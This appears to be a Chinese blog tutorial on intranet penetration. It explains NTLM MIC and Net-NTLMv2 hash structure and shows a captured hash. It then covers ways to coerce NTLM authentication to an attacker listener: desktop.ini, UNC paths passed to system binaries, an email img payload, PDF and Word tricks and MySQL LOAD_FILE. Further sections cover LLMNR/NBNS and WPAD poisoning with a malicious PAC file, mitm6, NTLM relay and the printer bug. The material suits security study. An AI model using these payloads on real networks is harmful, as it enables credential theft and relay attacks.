网络安全-内网渗透2

一、MIC

将我们上次未描述完的MIC在这里详细解释一下

咱们所抓的第二个包会给返回一个服务端的challenge

之后服务器回包的第三个包会回复一个client challenge

所以咱们客户端和服务端现在分别有两个challenge,相当于客户端和服务端互相交换了一下challenge

因此

对于MIC,有如下计算公式:

MIC = HMAC_MD5(exportedSessionKey, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)

相当于第一个请求type1,和第二个请求type2,第三个请求type3,用了一个客户端生成的随机数,之后通过MD5进行了加密

那篡改就面临两个问题第一个不知道随机数,包括password是hash值

随机数生成方式:

对于攻击者,由于没有用户hash,也就没办法生成key_exchange_key,虽然在流量里面能够拿到encrypted_random_session_key,但是没有key_exchange_key,也就没办法运算出exported_session_key,也就没法对流量进行加解密。从而进行Relay。

而对于NTLMv2 HashNTProofStr,有如下计算公式。

· NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)

· NTProofStr = HMAC-MD5(challenge + blob, NTLMv2 Hash)

如图所示,可以看到在NTLMv2 Response响应消息下的MIC字段。

我们的Response=NTProofStr+blob,所以我们用Response减掉NTProofStr就是我们的blob

DomainName:没有的话一般是本机的名字

 最终它拼接的时候:

其中各部分含义如下:

· username(要访问服务器的用户名):administrator

· domain(域信息):WIN7

· challenge(数据包6中服务器返回的challenge值[service challenge]):f9e7d1fe37e7ae12

· HMAC-MD5(数据包7中的NTProofStr): 202beed8c64468318318bad6e8ae8326

· blob(blob对应数据为数据包7中NTLMv2 Response去掉NTProofStr的后半部分):010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000

所以最后Net-NTLM v2 Hash值为如下:

administrator::WIN7:f9e7d1fe37e7ae12:202beed8c64468318318bad6e8ae8326:010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000

所以最终我们可以实现我们的目的

从下面两个公式我们可以计算出NTLMv2 Hash、NTProofStr以及Reseonse

  • NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)
  • NTProofStr = HMAC-MD5(challenge + blob, NTLMv2 Hash)

最终拿到HTLM Hash

我们拿到用户的hash实则是可以横向的

二、工具介绍

2.1hashcat

我们是有一款工具hashcat专门破解net-HTLMv2-Hash

MD5的值不是破解出来的,是对明文对出来的

md5在线解密破解,md5解密加密 (cmd5.com)

但是对于破解net-HTLMv2-Hash概率很小 

2.2Responder

这款工具在kill里面是自带的,它可以用来监听你的网卡

三、发起NTLM请求(获取Net-hash)

3.1desktop.ini

3.1.1开始前的准备,把隐藏勾选掉,显示文件夹

3.1.2创建一个新的文件,进入目录下如果没有生成隐藏文件ini,如下图,给换个图标

3.1.3修改图标文件下的Resource,让其每次访问的时候都指向我们的服务器

3.1.4我们监听一下网卡

修改如下

当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash

但是经过我测试在win10下行不通,原作者在win7下我看是可以的

3.2scf文件

这个我测试了在win10下是不行的

3.3用户图像

适用于Windows 10/2016/2019

在更改账户图片处。

用普通用户的权限指定一个webadv地址的图片,如果普通用户验证图片通过,那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180,并且携带凭据,我们就可以拿到机器用户的net-ntlm hash

但是经过测试,现如今这种方法已经不适用了

3.4系统命令携带UNC路径

> net.exe use \hostshare 
> attrib.exe \hostshare  
> bcdboot.exe \hostshare  
> bdeunlock.exe \hostshare  
> cacls.exe \hostshare  
> certreq.exe \hostshare #(noisy, pops an error dialog) 
> certutil.exe \hostshare  
> cipher.exe \hostshare  
> ClipUp.exe -l \hostshare  
> cmdl32.exe \hostshare  
> cmstp.exe /s \hostshare  
> colorcpl.exe \hostshare #(noisy, pops an error dialog)  
> comp.exe /N=0 \hostshare \hostshare  
> compact.exe \hostshare  
> control.exe \hostshare  
> convertvhd.exe -source \hostshare -destination \hostshare  
> Defrag.exe \hostshare  
> diskperf.exe \hostshare  
> dispdiag.exe -out \hostshare  
> doskey.exe /MACROFILE=\hostshare  
> esentutl.exe /k \hostshare  
> expand.exe \hostshare  
> extrac32.exe \hostshare  
> FileHistory.exe \hostshare #(noisy, pops a gui)  
> findstr.exe * \hostshare  
> fontview.exe \hostshare #(noisy, pops an error dialog)  
> fvenotify.exe \hostshare #(noisy, pops an access denied error)  
> FXSCOVER.exe \hostshare #(noisy, pops GUI)  
> hwrcomp.exe -check \hostshare  
> hwrreg.exe \hostshare  
> icacls.exe \hostshare   
> licensingdiag.exe -cab \hostshare  
> lodctr.exe \hostshare  
> lpksetup.exe /p \hostshare /s  
> makecab.exe \hostshare  
> msiexec.exe /update \hostshare /quiet  
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)  
> mspaint.exe \hostshare #(noisy, invalid path to png error)  
> msra.exe /openfile \hostshare #(noisy, error)  
> mstsc.exe \hostshare #(noisy, error)  
> netcfg.exe -l \hostshare -c p -i foo

很明显这种方法是可行的

而我们光拿到这个是没有用的,接下来我们需要用密码字典去破解,但是八成是不行的,因为很难匹配上

 那现在拿到这个值没用?

但是实际上作用很大,后面会说咱们先了解如何获取net-ntlm hash

3.4xss构造(做个钓鱼网站让其访问)

我们来用小皮快速构造验证一下

这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域,以edge为例,修改相应设置之后

直接成功

3.5邮件

发送邮件是支持html的,而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload

复制

<img src="\\172.16.100.1\outlook">

 当收件人打开邮箱的时候

我们就拿到net html hash了

3.6PDF

 PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生的脚本GitHub - 3gstudent/Worse-PDF: Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines.

我们就收到net-ntlm hash

注:只能使用 Adobe

3.7office

 首先新建一个word,贴进去一张图片

3.8添加图片

然后用7zip 打开(别用wps会失效)

进入word\_rels,修改document.xml.rels

可以看到Target参数本来是本地的路径

修改为UNC路径,然后加上TargetMode="External"

 当打开word的时候,我们就拿到net-ntlm hash

3.9mysql 

现在的环境测试不太行

我去win7上尝试

需要具备load_file权限,且没有secure_file_priv的限制(5.5.53默认是空,之后的话默认为NULL就不好利用了,不排除一些管理员会改)

仔细观察我们会发现LOAD_FILE是支持UNC路径

成功

利用场景太苛刻

四、来看两个协议

4.2NBNS和LLMNR

来抓包

dns先查缓存,缓存查不到差host文件,host文件查不到走到路由器内置dns查根域的13台,13台以后看你请求的com还是cn等等顶级域,假如com顶级域让你查百度,找到百度dns,之后把服务器ip返回给咱,然后路由器返回给它,这是可以收到的流程,假如绑定的域名收不到,我们所说所有解析不成功的情况下,会发给路由器,路由器会广播,如果找到返回,如果没找到就是没找到了

之后还会继续广播,可以看到图片上172.16.100.1有回应(而这个是我的监听)

假设一个场景吧

 

接下来windows会找,虽然没有找不到但是nbns协议已经开始寻找了

windows 解析域名的顺序是

  • Hosts

  • DNS (cache / server)

  • LLMNR

  • NBNS

但是不管怎么解析都是通过广播来找的,是不是有点类似网络中的ARP欺骗

因为多了一个请求,我们多加一个参数

浏览器请求,自然抓到

4.3WPAD和mitm6(2016年以后微软出了补丁已解决)

wpad 全称是Web Proxy Auto-Discovery Protocol ,通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。

 

现在默认是关闭的,我们只是为了测试

内部流程是

用户在访问网页时,首先会查询PAC文件的位置,然后获取PAC文件,将PAC文件作为代理配置文件。

查询PAC文件的顺序如下:

  1. 通过DHCP服务器

  2. 查询WPAD主机的IP

    • Hosts

    • DNS (cache / server)

    • LLMNR

    • NBNS

    这个地方就涉及到两种攻击方式

4.3.1. 配合LLMNR/NBNS投毒

这是最早的攻击方式。用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。Responder可以很方便得实现。

  1. 受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

  1. 受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash(这个Responder默认不开,因为害怕会有登录提醒,不利于后面的中间人攻击,可以加上-F 开启)

  1. 然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141。

    复制
    function FindProxyForURL(url, host){
      if ((host == "localhost") 
          || shExpMatch(host, "localhost.*") 
          ||(host == "127.0.0.1") 
          || isPlainHostName(host)) return "DIRECT"; 
      if (dnsDomainIs(host, "RespProxySrv")
          ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
                    return "DIRECT"; 
      return 'PROXY ISAProxySrv:3141; DIRECT';}
  2. 受害者会使用ISAProxySrv:3141作为代理,但是受害者不知道ISAProxySrv对应的ip是什么,所以会再次查询,Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等,Responder都支持。这里就不详细展开了

然而,微软在2016年发布了MS16-077安全公告,添加了两个重要的保护措施,以缓解这类攻击行为:

1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。

2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

4.3.2. 配合DHCPv6

dirkjanm/mitm6: pwning IPv4 via IPv6 (github.com)

前面说过,针对在查询WPAD的时候进行投毒欺骗这种攻击方式,微软添加了两个重要的保护措施

1、系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP或DNS协议完成该任务。

2、更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

第二个保护措施比较好绕过,我们先来绕过这个。更改了PAC文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。这个其实比较好解决,在访问pac文件的时候,我们没办法获取到用户的net-ntlm hash。其实默认responder就不想在这一步获取net-ntlm hash,他默认不开启,要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己,然后我们作为中间人。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash,中间人获取post,cookie等参数,通过basic认证进行钓鱼,诱导下载exe等等。这个可以回去上一小节配合LLMNR/NBNS投毒看看。

在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己,当受害主机连接到我们的“代理”服务器时,我们可以通过HTTP CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程,然后回复HTTP 407错误(需要代理身份验证),这与401不同,IE/Edge以及Chrome浏览器(使用的是IE设置)会自动与代理服务器进行身份认证,即使在最新版本的Windows系统上也是如此。在Firefox中,用户可以配置这个选项,该选项默认处于启用状态。

所以我们接下来的任务是要来绕过第一个保护措施

   系统再也无法通过广播协议来解析WPAD文件的位置,只能通过使用DHCP选项或DNS协议完成该任务。

这个就保证了llmnr投毒和nbns投毒不能用了。我们来回顾下用户获取pac文件的一般流程。

  1. 通过DHCP服务器

  2. 查询WPAD主机的IP

    • Hosts

    • DNS (cache / server)

    • LLMNR

    • NBNS

    在MS16-077之后,通过DHCP和DNS协议还可以获取到pac文件。

    DHCP和DNS都有指定的服务器,不是通过广播包,而且dhcp服务器和dns服务器我们是不可控的,没法进行投毒。

    幸运的是安全研究人员并不将目光局限在ipv4,从Windows Vista以来,所有的Windows系统(包括服务器版系统)都会启用IPv6网络,并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。

    DHCPv6协议中,客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器,组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。DHCPv6四步交互过程,客户端向[ff02::1:2]组播地址发送一个Solicit请求报文,DHCP服务器或中继代理回应Advertise消息告知客户端。客户端选择优先级最高的服务器并发送Request信息请求分配地址或其他配置信息,最后服务器回复包含确认地址,委托前缀和配置(如可用的DNS或NTP服务器)的Relay消息。通俗点来说就是,在可以使用ipv6的情况(Windows Vista以后默认开启),攻击者能接收到其他机器的dhcpv6组播包的情况下,攻击者最后可以让受害者的DNS设置为攻击者的IPv6地址。

    Fox-IT公布了名为mitm6的一个工具,可以实施这种攻击。

    mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量。

  1. 当目标计算机重启或重新进行网络配置(如重新插入网线)时, 将会向DHCPv6发送请求获取IPv6配置

  1. 这个时候mitm6将回复这些DHCPv6请求,并在链接本地范围内为受害者分配一个IPv6地址。尽管在实际的IPv6网络中,这些地址是由主机自己自动分配的,不需要由DHCP服务器配置,但这使我们有机会将攻击者IP设置为受害者的默认IPv6 DNS服务器。应当注意,mitm6当前仅针对基于Windows的操作系统,因为其他操作系统(如macOS和Linux)不使用DHCPv6进行DNS服务器分配。

这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器,它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的,因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。

至此MS16-077的两个保护措施都能绕过,再遇到MS16-077之后的机子不妨试试这种方法。

Inveigh结合DNS v6配合NTLM Relay 攻击链的利用-腾讯云开发者社区-腾讯云 (tencent.com)

测试:安装win7,安装python2(因为现在默认都是python3),安装lnveigh

开始监听

投毒成功

对方打开浏览器直接成功

4.3.3realy(中间人攻击)

在Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH.这个时候就没有Relay的必要性了,但是在实际中遇到的例子往往不会是v1,而是v2。这个时候密码强度高一点,基本就跑不出来了,这种情况底下,不妨试一试Relay。

接下来我们拿到ntml hash后就需要进行一个中间人的realy,搭配ntmlrealyx

具体可以看这篇文章

http://wpad/wpad.apt 

图片解释:

NTLM Relay - cAr7n - 博客园 (cnblogs.com)

类似于arp欺骗 

开始模拟:

kill

win-10开始毒化

 win-7重启,用域控登录

错误原因:端口占用

执行成功:

 

4.3.4打印机漏洞

Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信,默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。

任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。另外微软表示这个bug是系统设计特点,无需修复。

如下图,使用printerbug.py对172.16.100.5发起请求,172.16.100.5就会向172.16.100.1发起ntlm 请求。

目的让域控强制访问你想访问的任何机器 ,利用条件很高,需要一个域内普通用户的账户和密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/504850.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

本地搭建多人协作ONLYOFFICE文档服务器并结合Cpolar内网穿透实现公网访问远程办公

文章目录 1. 安装Docker2. 本地安装部署ONLYOFFICE3. 安装cpolar内网穿透4. 固定OnlyOffice公网地址 本篇文章讲解如何使用Docker在本地服务器上安装ONLYOFFICE&#xff0c;并结合cpolar内网穿透实现公网访问。 Community Edition允许您在本地服务器上安装ONLYOFFICE文档&…

高精度(大整数)

本文用于记录个人算法竞赛学习&#xff0c;仅供参考 一.什么是大整数 当一个数的位数已经很大了&#xff08;比如有10^6&#xff09;&#xff0c;常规的数据类型已经存不下了&#xff0c;那么这个时候就可以用数组来存&#xff0c;数组的每个元素代表数的每一位&#xff0c;且…

Base64编码的全面介绍

title: Base64编码的全面介绍 date: 2024/3/31 18:55:49 updated: 2024/3/31 18:55:49 tags: Base64编码网络传输文本转换数据膨胀非加密性质应用场景安全传输 1. Base64的定义和作用 Base64是一种用64个字符表示二进制数据的编码方式&#xff0c;通常用于在网络传输中将二进…

什么是Redis数据一致性?如何解决?

在系统中缓存最常用的策略是&#xff1a;服务端需要同时维护DB和cache&#xff0c;并且是以DB的结果为准–Cache-Aside Pattern&#xff08;缓存分离模式、旁路缓存&#xff09; 读数据 单纯的读数据是不会产生数据不一致&#xff0c;只有并发下读和写才会存在数据不一致。 写…

安装即启动?探索流氓App的自启动“黑科技” (Android系统内鬼之ContentProvider篇)

前段时间发现了一个神奇的app&#xff0c;它居然可以在安装之后立即自启动&#xff1a; 看到没有&#xff0c;在提示安装成功大概1到2秒后&#xff0c;就直接弹出Toast和通知了&#xff01; 好神奇啊&#xff0c;在没有第三方app帮忙唤醒的前提下&#xff0c;它是怎么做到首次安…

2024年 前端JavaScript 进阶 第2天 笔记

2.1-内容和创建对象方式 2.2-164-构造函数 2.3-new实例化执行过程 2.4-实例成员和静态成员 2.5-基本包装类型 2.6-0bject静态方法 2.7-数组reduce累计方法 对象数组 加0 2.7-数组find、every和转换为真 --说明手册文档 MDN Web Docs 2.8-字符串常见方法 2.3 String 1.常见实例…

【yolo检测】基于YOLOv8与DeepSORT实现多目标跟踪

1.配置环境 conda版本23.5.0 创建虚拟环境&#xff0c;Python版本选择3.10&#xff0c;环境命名为yolov8 conda create --name yolov8 python3.10进入环境 conda activate yolov82.安装工具包 实测网络问题可以用手机热点或者加-i镜像解决。 pip install -r requirements.t…

C语言操作符详细讲解

前言 本次博客一定会让刚刚学习C语言小白有所收获 本次操作符讲解不仅分类还会有代码示例 好好看 好好学 花上几分钟就可以避免许多坑 1 操作符的基本使用 1.1操作符的分类 按功能分 算术操作符&#xff1a; 、- 、* 、/ 、% 移位操作符: >> << 位操作符…

Keil界面乱了,某些图标消失

文章目录 如图 如图 我都不知道怎么搞的第一个 重启界面解决了

【微服务框架】微服务简介

个人名片&#xff1a; &#x1f43c;作者简介&#xff1a;一名大三在校生&#xff0c;喜欢AI编程&#x1f38b; &#x1f43b;‍❄️个人主页&#x1f947;&#xff1a;落798. &#x1f43c;个人WeChat&#xff1a;hmmwx53 &#x1f54a;️系列专栏&#xff1a;&#x1f5bc;️…

刷LeetCode:冒泡排序详解 【2/1000 第二题】含imagemagick动态效果图

&#x1f464;作者介绍&#xff1a;10年大厂数据\经营分析经验&#xff0c;现任大厂数据部门负责人。 会一些的技术&#xff1a;数据分析、算法、SQL、大数据相关、python 作者专栏每日更新&#xff1a; LeetCode解锁1000题: 打怪升级之旅 LeetCode解锁1000题: 打怪升级之旅htt…

文生图大模型三部曲:DDPM、LDM、SD 详细讲解!

1、引言 跨模态大模型是指能够在不同感官模态(如视觉、语言、音频等)之间进行信息转换的大规模语言模型。当前图文跨模态大模型主要有&#xff1a; 文生图大模型&#xff1a;如 Stable Diffusion系列、DALL-E系列、Imagen等 图文匹配大模型&#xff1a;如CLIP、Chinese CLIP、…

网络基础(二)——序列化与反序列化

目录 1、应用层 2、再谈“协议” 3、网络版计算器 Socket.hpp TcpServer.hpp ServerCal.hpp ServerCal.cc Protocol.hpp ClientCal.cc Log.hpp Makefile 1、应用层 我们程序员写的一个个解决我们实际问题&#xff0c;满足我们日常需求的网络程序&#xff0c;都是在…

H5抓包——Android 使用电脑浏览器 DevTools调试WebView

H5抓包——Android 使用电脑浏览器 DevTools调试WebView 一、使用步骤 1、电脑通过数据线连接手机&#xff0c;开启USB调试&#xff08;打开手机开发者选项&#xff09; 2、打开待调试的H5 App&#xff0c;进入H5界面 3、打开电脑浏览器&#xff0c;调试界面入口 如果用ed…

百度资源平台链接提交

百度资源平台是百度搜索引擎提供的一个重要工具&#xff0c;用于帮助网站主将自己的网站链接提交给百度搜索引擎&#xff0c;以便更快地被收录和展示在搜索结果中。以下将就百度资源平台链接提交的概念、操作方法以及其对网站收录和曝光的影响进行探讨&#xff1a; 什么是百度资…

高端的电子画册,手机打开你见过吗?

手机阅读的高端电子画册&#xff0c;你见过吗&#xff1f;随着移动互联网的发展&#xff0c;越来越多的人选择在手机上阅读电子画册&#xff0c;而不是传统的纸质画册。这种趋势不仅节省了纸张资源&#xff0c;还提升了阅读体验。用户可以通过触摸屏幕、放大缩小、翻页等操作与…

芒果YOLOv8改进130:Neck篇,即插即用,CCFM重构跨尺度特征融合模块,构建CCFM模块,助力小目标检测涨点

芒果专栏 基于 CCFM 的改进结构,改进源码教程 | 详情如下🥇 💡本博客 改进源代码改进 适用于 YOLOv8 按步骤操作运行改进后的代码即可 即插即用 结构。博客 包括改进所需的 核心结构代码 文件 YOLOv8改进专栏完整目录链接:👉 芒果YOLOv8深度改进教程 | 🔥 订阅一个…

AtCoder Beginner Contest 342 A - D

A - Yay! 大意 给定字符串&#xff0c;其中有且仅有一个字符与其他不同&#xff0c;输出这个字符的下标&#xff08;从1开始&#xff09;。 思路 桶排序统计次数即可。 代码 #include<iostream> #include<vector> using namespace std; int main(){string s;…

Docker 轻量级可视化工具 Portainer

1. 是什么 它是一款轻量级的应用&#xff0c;它提供了图形化界面&#xff0c;用于方便管理Docker环境&#xff0c;也包括单机环境和集群环境。 2. 安装 官网&#xff1a;Kubernetes and Docker Container Management Software 安装路径&#xff1a;Install the Compose plug…

使用 Spring Email 和 Thymeleaf 技术,向新注册用户发送激活邮件(一)

这篇内容对应"2.1 发送邮件"小节 邮箱设置 需要去邮箱对应的官方客户端软件或网站开启IMAP/SMTP服务或POP3/SMTP服务器 如果不开启&#xff0c;就无法使用第三方用户代理&#xff0c;只能走第官方的电子邮件客户端软件或网站&#xff0c;用户代理就是电子邮件客户…